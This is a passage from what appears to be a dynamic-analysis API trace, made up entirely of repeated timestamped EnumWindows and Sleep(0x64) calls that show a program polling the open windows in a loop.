lParam=0x410000) [0165.922] Sleep (dwMilliseconds=0x64) [0165.923] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.923] Sleep (dwMilliseconds=0x64) [0165.925] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.925] Sleep (dwMilliseconds=0x64) [0165.927] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.927] Sleep (dwMilliseconds=0x64) [0165.928] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.928] Sleep (dwMilliseconds=0x64) [0165.930] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.930] Sleep (dwMilliseconds=0x64) [0165.932] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.932] Sleep (dwMilliseconds=0x64) [0165.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.934] Sleep (dwMilliseconds=0x64) [0165.936] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.936] Sleep (dwMilliseconds=0x64) [0165.938] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.938] Sleep (dwMilliseconds=0x64) [0165.940] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.941] Sleep (dwMilliseconds=0x64) [0165.943] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.944] Sleep (dwMilliseconds=0x64) [0165.945] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.945] Sleep (dwMilliseconds=0x64) [0165.947] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.947] Sleep (dwMilliseconds=0x64) [0165.949] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.949] Sleep (dwMilliseconds=0x64) [0165.951] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.951] Sleep (dwMilliseconds=0x64) [0165.953] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.953] Sleep (dwMilliseconds=0x64) [0165.955] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.955] Sleep (dwMilliseconds=0x64) [0165.957] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.957] Sleep (dwMilliseconds=0x64) [0165.959] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.959] Sleep (dwMilliseconds=0x64) [0165.961] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.962] Sleep (dwMilliseconds=0x64) [0165.964] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.964] Sleep (dwMilliseconds=0x64) [0165.966] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.966] Sleep (dwMilliseconds=0x64) [0165.969] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.970] Sleep (dwMilliseconds=0x64) [0165.971] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.971] Sleep (dwMilliseconds=0x64) [0165.973] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.973] Sleep (dwMilliseconds=0x64) [0165.975] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.975] Sleep (dwMilliseconds=0x64) [0165.977] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.977] Sleep (dwMilliseconds=0x64) [0165.979] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.979] Sleep (dwMilliseconds=0x64) [0165.981] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.981] Sleep (dwMilliseconds=0x64) [0165.983] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.983] Sleep (dwMilliseconds=0x64) [0165.985] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.985] Sleep (dwMilliseconds=0x64) [0165.987] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.987] Sleep (dwMilliseconds=0x64) [0165.990] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.990] Sleep (dwMilliseconds=0x64) [0165.992] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.992] Sleep (dwMilliseconds=0x64) [0165.994] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.994] Sleep (dwMilliseconds=0x64) [0165.995] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.996] Sleep (dwMilliseconds=0x64) [0165.997] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0165.997] Sleep (dwMilliseconds=0x64) [0166.000] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.000] Sleep (dwMilliseconds=0x64) [0166.002] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.002] Sleep (dwMilliseconds=0x64) [0166.008] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.008] Sleep (dwMilliseconds=0x64) [0166.010] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.010] Sleep (dwMilliseconds=0x64) [0166.012] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.013] Sleep (dwMilliseconds=0x64) [0166.014] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.015] Sleep (dwMilliseconds=0x64) [0166.016] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.017] Sleep (dwMilliseconds=0x64) [0166.018] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.018] Sleep (dwMilliseconds=0x64) [0166.020] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.020] Sleep (dwMilliseconds=0x64) [0166.101] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.101] Sleep (dwMilliseconds=0x64) [0166.216] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.216] Sleep (dwMilliseconds=0x64) [0166.298] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.299] Sleep (dwMilliseconds=0x64) [0166.300] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.301] Sleep (dwMilliseconds=0x64) [0166.302] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.303] Sleep (dwMilliseconds=0x64) [0166.304] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.304] Sleep (dwMilliseconds=0x64) [0166.306] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.306] Sleep (dwMilliseconds=0x64) [0166.307] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.307] Sleep (dwMilliseconds=0x64) [0166.318] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.319] Sleep (dwMilliseconds=0x64) [0166.331] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.332] Sleep (dwMilliseconds=0x64) [0166.342] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.342] Sleep (dwMilliseconds=0x64) [0166.343] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.344] Sleep (dwMilliseconds=0x64) [0166.345] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.345] Sleep (dwMilliseconds=0x64) [0166.353] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.353] Sleep (dwMilliseconds=0x64) [0166.355] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.355] Sleep (dwMilliseconds=0x64) [0166.357] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.357] Sleep (dwMilliseconds=0x64) [0166.359] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.359] Sleep (dwMilliseconds=0x64) [0166.360] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.361] Sleep (dwMilliseconds=0x64) [0166.364] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.364] Sleep (dwMilliseconds=0x64) [0166.366] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.366] Sleep (dwMilliseconds=0x64) [0166.369] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.369] Sleep (dwMilliseconds=0x64) [0166.370] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.370] Sleep (dwMilliseconds=0x64) [0166.372] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.373] Sleep (dwMilliseconds=0x64) [0166.375] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.375] Sleep (dwMilliseconds=0x64) [0166.459] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.459] Sleep (dwMilliseconds=0x64) [0166.461] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.461] Sleep (dwMilliseconds=0x64) [0166.462] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.463] Sleep (dwMilliseconds=0x64) [0166.464] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.464] Sleep (dwMilliseconds=0x64) [0166.466] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.467] Sleep (dwMilliseconds=0x64) [0166.468] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.468] Sleep (dwMilliseconds=0x64) [0166.470] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.470] Sleep (dwMilliseconds=0x64) [0166.472] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.472] Sleep (dwMilliseconds=0x64) [0166.474] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.475] Sleep (dwMilliseconds=0x64) [0166.476] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.476] Sleep (dwMilliseconds=0x64) [0166.477] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.478] Sleep (dwMilliseconds=0x64) [0166.479] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.480] Sleep (dwMilliseconds=0x64) [0166.481] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.482] Sleep (dwMilliseconds=0x64) [0166.483] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.483] Sleep (dwMilliseconds=0x64) [0166.485] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.485] Sleep (dwMilliseconds=0x64) [0166.486] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.486] Sleep (dwMilliseconds=0x64) [0166.489] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.489] Sleep (dwMilliseconds=0x64) [0166.490] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.490] Sleep (dwMilliseconds=0x64) [0166.492] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.492] Sleep (dwMilliseconds=0x64) [0166.493] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.494] Sleep (dwMilliseconds=0x64) [0166.495] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.496] Sleep (dwMilliseconds=0x64) [0166.498] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.498] Sleep (dwMilliseconds=0x64) [0166.499] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.500] Sleep (dwMilliseconds=0x64) [0166.501] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.501] Sleep (dwMilliseconds=0x64) [0166.503] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.503] Sleep (dwMilliseconds=0x64) [0166.504] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.504] Sleep (dwMilliseconds=0x64) [0166.506] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.506] Sleep (dwMilliseconds=0x64) [0166.508] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.508] Sleep (dwMilliseconds=0x64) [0166.510] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.510] Sleep (dwMilliseconds=0x64) [0166.512] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.513] Sleep (dwMilliseconds=0x64) [0166.558] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.558] Sleep (dwMilliseconds=0x64) [0166.577] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.578] Sleep (dwMilliseconds=0x64) [0166.579] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.579] Sleep (dwMilliseconds=0x64) [0166.581] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.583] Sleep (dwMilliseconds=0x64) [0166.585] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.585] Sleep (dwMilliseconds=0x64) [0166.587] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.587] Sleep (dwMilliseconds=0x64) [0166.589] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.589] Sleep (dwMilliseconds=0x64) [0166.591] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.591] Sleep (dwMilliseconds=0x64) [0166.592] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.592] Sleep (dwMilliseconds=0x64) [0166.594] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.594] Sleep (dwMilliseconds=0x64) [0166.596] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.596] Sleep (dwMilliseconds=0x64) [0166.598] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.598] Sleep (dwMilliseconds=0x64) [0166.600] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.600] Sleep (dwMilliseconds=0x64) [0166.601] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.602] Sleep (dwMilliseconds=0x64) [0166.604] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.604] Sleep (dwMilliseconds=0x64) [0166.606] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.606] Sleep (dwMilliseconds=0x64) [0166.608] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.608] Sleep (dwMilliseconds=0x64) [0166.674] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.674] Sleep (dwMilliseconds=0x64) [0166.677] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.677] Sleep (dwMilliseconds=0x64) [0166.680] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.681] Sleep (dwMilliseconds=0x64) [0166.682] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.682] Sleep (dwMilliseconds=0x64) [0166.733] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.733] Sleep (dwMilliseconds=0x64) [0166.736] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.736] Sleep (dwMilliseconds=0x64) [0166.737] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.738] Sleep (dwMilliseconds=0x64) [0166.739] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.739] Sleep (dwMilliseconds=0x64) [0166.740] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.740] Sleep (dwMilliseconds=0x64) [0166.742] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.742] Sleep (dwMilliseconds=0x64) [0166.744] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.745] Sleep (dwMilliseconds=0x64) [0166.746] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.746] Sleep (dwMilliseconds=0x64) [0166.747] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.747] Sleep (dwMilliseconds=0x64) [0166.760] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.760] Sleep (dwMilliseconds=0x64) [0166.761] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.762] Sleep (dwMilliseconds=0x64) [0166.766] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.766] Sleep (dwMilliseconds=0x64) [0166.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.768] Sleep (dwMilliseconds=0x64) [0166.771] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.772] Sleep (dwMilliseconds=0x64) [0166.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.773] Sleep (dwMilliseconds=0x64) [0166.774] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.775] Sleep (dwMilliseconds=0x64) [0166.924] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.925] Sleep (dwMilliseconds=0x64) [0166.926] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.927] Sleep (dwMilliseconds=0x64) [0166.928] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.928] Sleep (dwMilliseconds=0x64) [0166.930] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.931] Sleep (dwMilliseconds=0x64) [0166.932] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.932] Sleep (dwMilliseconds=0x64) [0166.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.934] Sleep (dwMilliseconds=0x64) [0166.935] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.935] Sleep (dwMilliseconds=0x64) [0166.937] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.937] Sleep (dwMilliseconds=0x64) [0166.939] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.940] Sleep (dwMilliseconds=0x64) [0166.942] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.943] Sleep (dwMilliseconds=0x64) [0166.945] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.945] Sleep (dwMilliseconds=0x64) [0166.946] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.946] Sleep (dwMilliseconds=0x64) [0166.947] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.948] Sleep (dwMilliseconds=0x64) [0166.950] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.950] Sleep (dwMilliseconds=0x64) [0166.951] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.951] Sleep (dwMilliseconds=0x64) [0166.952] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.953] Sleep (dwMilliseconds=0x64) [0166.954] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.955] Sleep (dwMilliseconds=0x64) [0166.956] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.956] Sleep (dwMilliseconds=0x64) [0166.959] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.959] Sleep (dwMilliseconds=0x64) [0166.960] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.960] Sleep (dwMilliseconds=0x64) [0166.962] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.962] Sleep (dwMilliseconds=0x64) [0166.963] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.963] Sleep (dwMilliseconds=0x64) [0166.965] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.965] Sleep (dwMilliseconds=0x64) [0166.966] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.966] Sleep (dwMilliseconds=0x64) [0166.968] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.968] Sleep (dwMilliseconds=0x64) [0166.969] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.969] Sleep (dwMilliseconds=0x64) [0166.971] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.971] Sleep (dwMilliseconds=0x64) [0166.973] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.973] Sleep (dwMilliseconds=0x64) [0166.975] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.975] Sleep (dwMilliseconds=0x64) [0166.977] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.977] Sleep (dwMilliseconds=0x64) [0166.978] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.978] Sleep (dwMilliseconds=0x64) [0166.980] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.980] Sleep (dwMilliseconds=0x64) [0166.982] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.982] Sleep (dwMilliseconds=0x64) [0166.984] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.984] Sleep (dwMilliseconds=0x64) [0166.986] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.986] Sleep (dwMilliseconds=0x64) [0166.988] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.988] Sleep (dwMilliseconds=0x64) [0166.990] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.990] Sleep (dwMilliseconds=0x64) [0166.995] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.995] Sleep (dwMilliseconds=0x64) [0166.997] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.997] Sleep (dwMilliseconds=0x64) [0166.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0166.999] Sleep (dwMilliseconds=0x64) [0167.001] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.001] Sleep (dwMilliseconds=0x64) [0167.002] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.003] Sleep (dwMilliseconds=0x64) [0167.004] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.004] Sleep (dwMilliseconds=0x64) [0167.006] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.006] Sleep (dwMilliseconds=0x64) [0167.008] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.008] Sleep (dwMilliseconds=0x64) [0167.010] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.010] Sleep (dwMilliseconds=0x64) [0167.011] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.011] Sleep (dwMilliseconds=0x64) [0167.013] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.013] Sleep (dwMilliseconds=0x64) [0167.014] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.014] Sleep (dwMilliseconds=0x64) [0167.016] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.016] Sleep (dwMilliseconds=0x64) [0167.017] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.017] Sleep (dwMilliseconds=0x64) [0167.019] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.019] Sleep (dwMilliseconds=0x64) [0167.020] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.021] Sleep (dwMilliseconds=0x64) [0167.022] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.022] Sleep (dwMilliseconds=0x64) [0167.024] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.024] Sleep (dwMilliseconds=0x64) [0167.026] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.026] Sleep (dwMilliseconds=0x64) [0167.030] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.030] Sleep (dwMilliseconds=0x64) [0167.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.032] Sleep (dwMilliseconds=0x64) [0167.033] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.033] Sleep (dwMilliseconds=0x64) [0167.035] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.035] Sleep (dwMilliseconds=0x64) [0167.036] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.036] Sleep (dwMilliseconds=0x64) [0167.038] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.038] Sleep (dwMilliseconds=0x64) [0167.040] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.040] Sleep (dwMilliseconds=0x64) [0167.044] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.044] Sleep (dwMilliseconds=0x64) [0167.046] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.047] Sleep (dwMilliseconds=0x64) [0167.048] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.048] Sleep (dwMilliseconds=0x64) [0167.050] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.050] Sleep (dwMilliseconds=0x64) [0167.052] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.052] Sleep (dwMilliseconds=0x64) [0167.053] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.053] Sleep (dwMilliseconds=0x64) [0167.055] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.055] Sleep (dwMilliseconds=0x64) [0167.057] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.058] Sleep (dwMilliseconds=0x64) [0167.059] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.059] Sleep (dwMilliseconds=0x64) [0167.061] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.061] Sleep (dwMilliseconds=0x64) [0167.062] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.062] Sleep (dwMilliseconds=0x64) [0167.064] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.064] Sleep (dwMilliseconds=0x64) [0167.066] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.067] Sleep (dwMilliseconds=0x64) [0167.068] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.068] Sleep (dwMilliseconds=0x64) [0167.070] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.070] Sleep (dwMilliseconds=0x64) [0167.071] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.071] Sleep (dwMilliseconds=0x64) [0167.072] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.073] Sleep (dwMilliseconds=0x64) [0167.074] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.074] Sleep (dwMilliseconds=0x64) [0167.076] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.076] Sleep (dwMilliseconds=0x64) [0167.077] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.078] Sleep (dwMilliseconds=0x64) [0167.079] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.079] Sleep (dwMilliseconds=0x64) [0167.081] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.081] Sleep (dwMilliseconds=0x64) [0167.082] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.082] Sleep (dwMilliseconds=0x64) [0167.084] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.084] Sleep (dwMilliseconds=0x64) [0167.085] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.086] Sleep (dwMilliseconds=0x64) [0167.087] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.087] Sleep (dwMilliseconds=0x64) [0167.088] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.089] Sleep (dwMilliseconds=0x64) [0167.090] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.090] Sleep (dwMilliseconds=0x64) [0167.091] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.092] Sleep (dwMilliseconds=0x64) [0167.093] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.093] Sleep (dwMilliseconds=0x64) [0167.094] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.095] Sleep (dwMilliseconds=0x64) [0167.096] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.096] Sleep (dwMilliseconds=0x64) [0167.098] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.098] Sleep (dwMilliseconds=0x64) [0167.100] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.100] Sleep (dwMilliseconds=0x64) [0167.102] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.102] Sleep (dwMilliseconds=0x64) [0167.107] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.107] Sleep (dwMilliseconds=0x64) [0167.108] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.108] Sleep (dwMilliseconds=0x64) [0167.110] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.110] Sleep (dwMilliseconds=0x64) [0167.137] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.137] Sleep (dwMilliseconds=0x64) [0167.139] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.139] Sleep (dwMilliseconds=0x64) [0167.141] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0167.141] Sleep (dwMilliseconds=0x64) [0167.145] EnumWindows 